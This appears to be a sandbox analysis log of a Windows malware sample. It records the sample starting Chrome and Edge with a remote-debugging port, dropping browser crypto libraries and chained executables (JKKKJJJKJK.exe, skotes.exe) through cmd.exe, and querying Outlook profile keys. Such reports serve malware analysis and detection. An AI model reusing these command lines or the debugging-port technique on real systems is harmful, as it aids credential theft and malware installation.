Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeV

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2152,i,8681884789018935076,13481232755456016495,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2268,i,10244731993118396883,10174492265466418561,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2020,i,1685373898731975698,6692062236660730877,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKKKJJJKJK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JKKKJJJKJK.exe "C:\Users\user\Documents\JKKKJJJKJK.exe"
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKKKJJJKJK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2152,i,8681884789018935076,13481232755456016495,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKKKJJJKJK.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2268,i,10244731993118396883,10174492265466418561,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2020,i,1685373898731975698,6692062236660730877,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JKKKJJJKJK.exe "C:\Users\user\Documents\JKKKJJJKJK.exe"	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 5192704 > 1048576

Source: file.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x249000
Source: file.exe	Static PE information: Raw size of zvrtkrqd is bigger than: 0x100000 < 0x2a7200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.690000.0.unpack :EW;.rsrc:W;.idata :W;zvrtkrqd:EW;lhimxxtc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zvrtkrqd:EW;lhimxxtc:EW;.taggant:EW;
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Unpacked PE file: 17.2.JKKKJJJKJK.exe.570000.0.unpack :EW;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 19.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 20.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oocxjflm:EW;kysdbyyn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C963480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C963480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.17.dr	Static PE information: real checksum: 0x31fe82 should be: 0x321f77
Source: JKKKJJJKJK.exe.0.dr	Static PE information: real checksum: 0x31fe82 should be: 0x321f77
Source: 439191dd24.exe.23.dr	Static PE information: real checksum: 0x1d22a2 should be: 0x16d3a5
Source: file.exe	Static PE information: real checksum: 0x4f3e75 should be: 0x4f6b67
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d22a2 should be: 0x16d3a5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: zvrtkrqd
Source: file.exe	Static PE information: section name: lhimxxtc
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name:
Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name: .idata
Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name: oocxjflm
Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name: kysdbyyn
Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: uymjeulq
Source: random[1].exe.0.dr	Static PE information: section name: qrjjzjvx
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.17.dr	Static PE information: section name:
Source: skotes.exe.17.dr	Static PE information: section name: .idata
Source: skotes.exe.17.dr	Static PE information: section name: oocxjflm
Source: skotes.exe.17.dr	Static PE information: section name: kysdbyyn
Source: skotes.exe.17.dr	Static PE information: section name: .taggant
Source: 439191dd24.exe.23.dr	Static PE information: section name:
Source: 439191dd24.exe.23.dr	Static PE information: section name: .idata
Source: 439191dd24.exe.23.dr	Static PE information: section name:
Source: 439191dd24.exe.23.dr	Static PE information: section name: uymjeulq
Source: 439191dd24.exe.23.dr	Static PE information: section name: qrjjzjvx
Source: 439191dd24.exe.23.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B536 push ecx; ret	0_2_6C99B549
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_0058D91C push ecx; ret	17_2_0058D92F
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_00581359 push es; ret	17_2_0058135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0095D91C push ecx; ret	19_2_0095D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0095D91C push ecx; ret	20_2_0095D92F

Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name: entropy: 7.054612497082067
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.975159886480556
Source: random[1].exe.0.dr	Static PE information: section name: uymjeulq entropy: 7.9525262017299605
Source: skotes.exe.17.dr	Static PE information: section name: entropy: 7.054612497082067
Source: 439191dd24.exe.23.dr	Static PE information: section name: entropy: 7.975159886480556
Source: 439191dd24.exe.23.dr	Static PE information: section name: uymjeulq entropy: 7.9525262017299605

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\JKKKJJJKJK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1012819001\439191dd24.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\JKKKJJJKJK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
